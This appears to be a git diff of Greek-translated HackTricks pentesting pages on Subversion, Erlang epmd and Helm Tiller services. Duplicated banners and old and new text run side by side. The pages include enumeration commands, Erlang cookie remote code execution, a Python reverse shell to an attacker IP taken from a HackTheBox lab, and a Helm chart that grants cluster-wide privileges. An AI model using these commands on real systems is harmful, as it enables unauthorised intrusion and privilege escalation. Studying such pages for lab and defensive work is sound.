* [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
Δημοσίευση δημιουργημένη από **Álex B (@r1p)**
Post created by **Álex B (@r1p)**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,62 +1,50 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Βασικές Πληροφορίες
# Basic Information
Το **Subversion** είναι ένα κεντρικό **σύστημα έλεγχου εκδόσεων** που διαδραματίζει ένα κρίσιμο ρόλο στη διαχείριση τόσο των παρόντων όσο και των ιστορικών δεδομένων των έργων. Ως ένα εργαλείο **ανοιχτού κώδικα**, λειτουργεί υπό την **άδεια Apache**. Αυτό το σύστημα αναγνωρίζεται ευρέως για τις δυνατότητές του στη **διαχείριση εκδόσεων λογισμικού και έλεγχο αναθεωρήσεων**, εξασφαλίζοντας ότι οι χρήστες μπορούν να παρακολουθούν αποτελεσματικά τις αλλαγές με τον χρόνο.
**Subversion** είναι ένα κεντρικό **σύστημα ελέγχου εκδόσεων** που παίζει κρίσιμο ρόλο στη διαχείριση τόσο των παρόντων όσο και των ιστορικών δεδομένων των έργων. Ως **ανοιχτού κώδικα** εργαλείο, λειτουργεί υπό την **άδεια Apache**. Αυτό το σύστημα αναγνωρίζεται ευρέως για τις δυνατότητές του στον **έλεγχο εκδόσεων λογισμικού και τον έλεγχο αναθεώρησης**, διασφαλίζοντας ότι οι χρήστες μπορούν να παρακολουθούν τις αλλαγές με την πάροδο του χρόνου αποτελεσματικά.
**Προεπιλεγμένη θύρα:** 3690
**Default port:** 3690
```
PORT STATE SERVICE
3690/tcp open svnserve Subversion
```
## Ανάκτηση Μπάνερ
Η ανάκτηση μπάνερ είναι μια τεχνική που χρησιμοποιείται για να ανακτήσει πληροφορίες σχετικά με έναν εξυπηρετητή Subversion (SVN). Αυτή η τεχνική επιτρέπει στον επιτιθέμενο να ανακτήσει πληροφορίες όπως η έκδοση του εξυπηρετητή SVN και άλλες πληροφορίες που μπορεί να είναι χρήσιμες για μελλοντικές επιθέσεις.
Η ανάκτηση μπάνερ μπορεί να γίνει με τη χρήση εργαλείων όπως το `telnet` ή το `nc` (netcat). Ο επιτιθέμενος συνδέεται στον εξυπηρετητή SVN και αποστέλλει ένα αίτημα για να λάβει το μπάνερ του εξυπηρετητή. Ο εξυπηρετητής απαντά με το μπάνερ του, που περιέχει πληροφορίες για τον εξυπηρετητή SVN.
Αυτές οι πληροφορίες μπορούν να χρησιμοποιηθούν για να εκμεταλλευτεί ο επιτιθέμενος τυχόν ευπάθειες ή αδυναμίες στον εξυπηρετητή SVN. Επίσης, η ανάκτηση μπάνερ μπορεί να βοηθήσει τον επιτιθέμενο να κατανοήσει την αρχιτεκτονική και τις ρυθμίσεις του εξυπηρετητή SVN, προκειμένου να σχεδιάσει μια αποτελεσματική επίθεση.
## Λήψη Μπανερών
```
nc -vn 10.10.10.10 3690
```
## Απαρίθμηση
Η απαρίθμηση είναι η διαδικασία εντοπισμού πληροφοριών σχετικά με έναν SVN διακομιστή. Αυτές οι πληροφορίες μπορούν να περιλαμβάνουν την έκδοση του διακομιστή, τις διαθέσιμες λειτουργίες και τις διαμορφώσεις ασφαλείας. Οι τεχνικές απαρίθμησης περιλαμβάνουν:
- Σάρωση των θυρών για τον έλεγχο της προσβασιμότητας του διακομιστή SVN.
- Ανάκτηση πληροφοριών μέσω του SVN από τον διακομιστή.
- Ανάκτηση πληροφοριών μέσω του SVN από τον πελάτη.
Ο στόχος της απαρίθμησης είναι να αποκτηθεί όσο το δυνατόν περισσότερη πληροφορία για τον διακομιστή SVN, προκειμένου να εντοπιστούν ευπάθειες και να προετοιμαστεί η επίθεση.
## Καταμέτρηση
```bash
svn ls svn://10.10.10.203 #list
svn log svn://10.10.10.203 #Commit history
svn checkout svn://10.10.10.203 #Download the repository
svn up -r 2 #Go to revision 2 inside the checkout folder
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Βασικές Πληροφορίες
# Basic Info
Το **Erlang Port Mapper Daemon (epmd)** λειτουργεί ως συντονιστής για κατανεμημένα παραδείγματα της Erlang. Είναι υπεύθυνο για την αντιστοίχιση συμβολικών ονομάτων κόμβων σε διευθύνσεις μηχανών, εξασφαλίζοντας ουσιαστικά ότι κάθε όνομα κόμβου συσχετίζεται με μια συγκεκριμένη διεύθυνση. Αυτός ο ρόλος του **epmd** είναι κρίσιμος για την άριστη αλληλεπίδραση και επικοινωνία μεταξύ διαφορετικών κόμβων Erlang σε ένα δίκτυο.
Ο **Erlang Port Mapper Daemon (epmd)** λειτουργεί ως συντονιστής για κατανεμημένες παρουσίες Erlang. Είναι υπεύθυνος για την αντιστοίχιση συμβολικών ονομάτων κόμβων σε διευθύνσεις μηχανών, διασφαλίζοντας ουσιαστικά ότι κάθε όνομα κόμβου σχετίζεται με μια συγκεκριμένη διεύθυνση. Αυτός ο ρόλος του **epmd** είναι κρίσιμος για την απρόσκοπτη αλληλεπίδραση και επικοινωνία μεταξύ διαφορετικών κόμβων Erlang σε ένα δίκτυο.
**Προεπιλεγμένη θύρα**: 4369
**Default port**: 4369
```
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
```
Αυτό χρησιμοποιείται από προεπιλογή σε εγκαταστάσεις RabbitMQ και CouchDB.
# Απαρίθμηση
# Αριθμητική
## Χειροκίνητη
```bash
@ -36,13 +37,7 @@ apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
```
## Αυτόματο
Η αυτόματη λειτουργία είναι μια δυνατότητα που επιτρέπει σε ένα σύστημα ή μια εφαρμογή να λειτουργεί αυτόνομα, χωρίς την ανάμειξη ανθρώπινης παρέμβασης. Αυτό σημαίνει ότι η διαδικασία ή η ενέργεια που πραγματοποιείται εκτελείται αυτόματα, χωρίς την ανάγκη για χειροκίνητη επέμβαση.
Στο πλαίσιο του χάκινγκ, η αυτόματη λειτουργία μπορεί να αναφέρεται σε εργαλεία ή τεχνικές που εκτελούν αυτόματα επιθέσεις ή εκμεταλλεύονται ευπάθειες σε συστήματα, χωρίς την ανάγκη για χειροκίνητη παρέμβαση από τον χάκερ. Αυτό επιτρέπει στον χάκερ να εκτελεί γρήγορα και αποτελεσματικά επιθέσεις, εκμεταλλευόμενος τις αδυναμίες του συστήματος.
Η αυτόματη λειτουργία μπορεί να χρησιμοποιηθεί επίσης για την αυτόματη ανίχνευση ευπαθειών σε συστήματα, την αυτόματη σάρωση δικτύου ή την αυτόματη εκτέλεση εργασιών σε ένα σύστημα. Αυτό επιτρέπει στον χάκερ να εντοπίζει ευπάθειες και να εκτελεί επιθέσεις μεγάλης κλίμακας, χωρίς την ανάγκη για χειροκίνητη παρέμβαση.
## Αυτόματη
```bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
@ -59,9 +54,9 @@ PORT STATE SERVICE VERSION
```
# Erlang Cookie RCE
## Απομακρυσμένη Σύνδεση
## Remote Connection
Εάν μπορείτε να **διαρρεύσετε το Authentication cookie**, θα μπορείτε να εκτελέσετε κώδικα στον κεντρικό υπολογιστή. Συνήθως, αυτό το cookie βρίσκεται στο `~/.erlang.cookie` και δημιουργείται από το erlang κατά την πρώτη εκκίνηση. Εάν δεν τροποποιηθεί ή δεν οριστεί χειροκίνητα, είναι μια τυχαία συμβολοσειρά \[A:Z] με μήκος 20 χαρακτήρων.
Αν μπορείτε να **διαρρεύσετε το Authentication cookie** θα είστε σε θέση να εκτελέσετε κώδικα στον υπολογιστή. Συνήθως, αυτό το cookie βρίσκεται στο `~/.erlang.cookie` και δημιουργείται από το erlang κατά την πρώτη εκκίνηση. Αν δεν έχει τροποποιηθεί ή οριστεί χειροκίνητα, είναι μια τυχαία συμβολοσειρά \[A:Z] με μήκος 20 χαρακτήρων.
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
@ -74,21 +69,21 @@ At last, we can start an erlang shell on the remote system.
"uid=0(root) gid=0(root) groups=0(root)\n"
```
Περισσότερες πληροφορίες στο [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
Ο συγγραφέας μοιράζεται επίσης ένα πρόγραμμα για την αποτροπή του cookie:
Ο συγγραφέας μοιράζεται επίσης ένα πρόγραμμα για να κάνετε brutforce το cookie:
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
## Τοπική Σύνδεση
Σε αυτήν την περίπτωση θα καταχραστούμε το CouchDB για να αναβαθμίσουμε τα προνόμια τοπικά:
Σε αυτή την περίπτωση θα εκμεταλλευτούμε το CouchDB για να κλιμακώσουμε τα δικαιώματα τοπικά:
```bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
Παράδειγμα που προέρχεται από [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
Μπορείτε να χρησιμοποιήσετε τη μηχανή **Canape HTB** για να **εξασκηθείτε** στο πώς να **εκμεταλλευτείτε αυτήν την ευπάθεια**.
Παράδειγμα που έχει ληφθεί από [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
Μπορείτε να χρησιμοποιήσετε **Canape HTB machine για** **να εξασκηθείτε** στο πώς να **εκμεταλλευτείτε αυτήν την ευπάθεια**.
## Metasploit
```bash
@ -100,16 +95,17 @@ msf5> use exploit/multi/misc/erlang_cookie_rce
* `port:4369 "στη θύρα"`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Βασικές Πληροφορίες
# Basic Information
Το Helm είναι ο **διαχειριστής πακέτων** για το Kubernetes. Επιτρέπει την συσκευασία των αρχείων YAML και τη διανομή τους σε δημόσιους και ιδιωτικούς αποθετήριους. Αυτά τα πακέτα ονομάζονται **Helm Charts**. Ο **Tiller** είναι ο **υπηρεσία** που **τρέχει** από προεπιλογή στη θύρα 44134 προσφέροντας την υπηρεσία.
Το Helm είναι ο **διαχειριστής πακέτων** για το Kubernetes. Επιτρέπει τη συσκευασία αρχείων YAML και τη διανομή τους σε δημόσιες και ιδιωτικές αποθήκες. Αυτά τα πακέτα ονομάζονται **Helm Charts**. **Tiller** είναι η **υπηρεσία** που **τρέχει** από προεπιλογή στην πόρτα 44134 προσφέροντας την υπηρεσία.
**Προεπιλεγμένη θύρα:** 44134
**Προεπιλεγμένη πόρτα:** 44134
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
# Απαρίθμηση
# Enumeration
Εάν μπορείτε να **απαριθμήσετε τα pods και/ή τις υπηρεσίες** διαφορετικών namespaces, απαριθμήστε τα και αναζητήστε αυτά που έχουν τη λέξη **"tiller" στο όνομά τους**:
Αν μπορείτε να **καταμετρήσετε pods και/ή υπηρεσίες** διαφορετικών namespaces, καταμετρήστε τα και αναζητήστε αυτά που έχουν **"tiller" στο όνομά τους**:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
@ -45,39 +46,39 @@ NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S)
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
Μπορείτε επίσης να προσπαθήσετε να βρείτε αυτήν την υπηρεσία ελέγχοντας τη θύρα 44134:
Μπορείτε επίσης να προσπαθήσετε να βρείτε αυτή την υπηρεσία που εκτελείται ελέγχοντας την θύρα 44134:
```bash
sudo nmap -sS -p 44134 <IP>
```
Αφού το ανακαλύψετε, μπορείτε να επικοινωνήσετε με αυτό κατεβάζοντας την εφαρμογή πελάτη helm. Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το `homebrew`, ή να κοιτάξετε την [**επίσημη σελίδα κυκλοφοριών**](https://github.com/helm/helm/releases)**.** Για περισσότερες λεπτομέρειες ή για άλλες επιλογές, δείτε [ο οδηγός εγκατάστασης](https://v2.helm.sh/docs/using\_helm/#installing-helm).
Μόλις το ανακαλύψετε, μπορείτε να επικοινωνήσετε μαζί του κατεβάζοντας την εφαρμογή πελάτη helm. Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το `homebrew`, ή να δείτε [**τη σελίδα επίσημων εκδόσεων**](https://github.com/helm/helm/releases)**.** Για περισσότερες λεπτομέρειες, ή για άλλες επιλογές, δείτε [τον οδηγό εγκατάστασης](https://v2.helm.sh/docs/using\_helm/#installing-helm).
Στη συνέχεια, μπορείτε να **απαριθμήσετε την υπηρεσία**:
Στη συνέχεια, μπορείτε να **καταμετρήσετε την υπηρεσία**:
```
helm --host tiller-deploy.kube-system:44134 version
```
## Ανόδου Προνομίων
## Privilege Escalation
Από προεπιλογή, το **Helm2** είναι εγκατεστημένο στο **namespace kube-system** με **υψηλά προνόμια**, οπότε αν βρείτε την υπηρεσία και έχετε πρόσβαση σε αυτήν, αυτό μπορεί να σας επιτρέψει να **αναβαθμίσετε τα προνόμια**.
Από προεπιλογή, το **Helm2** εγκαταστάθηκε στο **namespace kube-system** με **υψηλά δικαιώματα**, οπότε αν βρείτε την υπηρεσία και έχετε πρόσβαση σε αυτήν, αυτό θα μπορούσε να σας επιτρέψει να **κλιμακώσετε τα δικαιώματα**.
Το μόνο που χρειάζεται να κάνετε είναι να εγκαταστήσετε ένα πακέτο όπως αυτό: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) που θα δώσει στο **προεπιλεγμένο διακριτικό υπηρεσίας πρόσβαση σε όλο το cluster**.
Το μόνο που χρειάζεται να κάνετε είναι να εγκαταστήσετε ένα πακέτο όπως αυτό: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) που θα δώσει την **προεπιλεγμένη υπηρεσία token πρόσβαση σε όλα σε ολόκληρο το cluster.**
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
Στο [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) έχετε την **εξήγηση της επίθεσης**, αλλά βασικά, αν διαβάσετε τα αρχεία [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) και [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) μέσα στον φάκελο _helm-tiller-pwn/pwnchart/templates/_ μπορείτε να δείτε πώς **δίνονται όλα τα προνόμια στο προεπιλεγμένο token**.
Στο [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) έχετε την **εξήγηση της επίθεσης**, αλλά βασικά, αν διαβάσετε τα αρχεία [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) και [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) μέσα στο _helm-tiller-pwn/pwnchart/templates/_ μπορείτε να δείτε πώς **όλα τα προνόμια δίνονται στο προεπιλεγμένο token**.
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
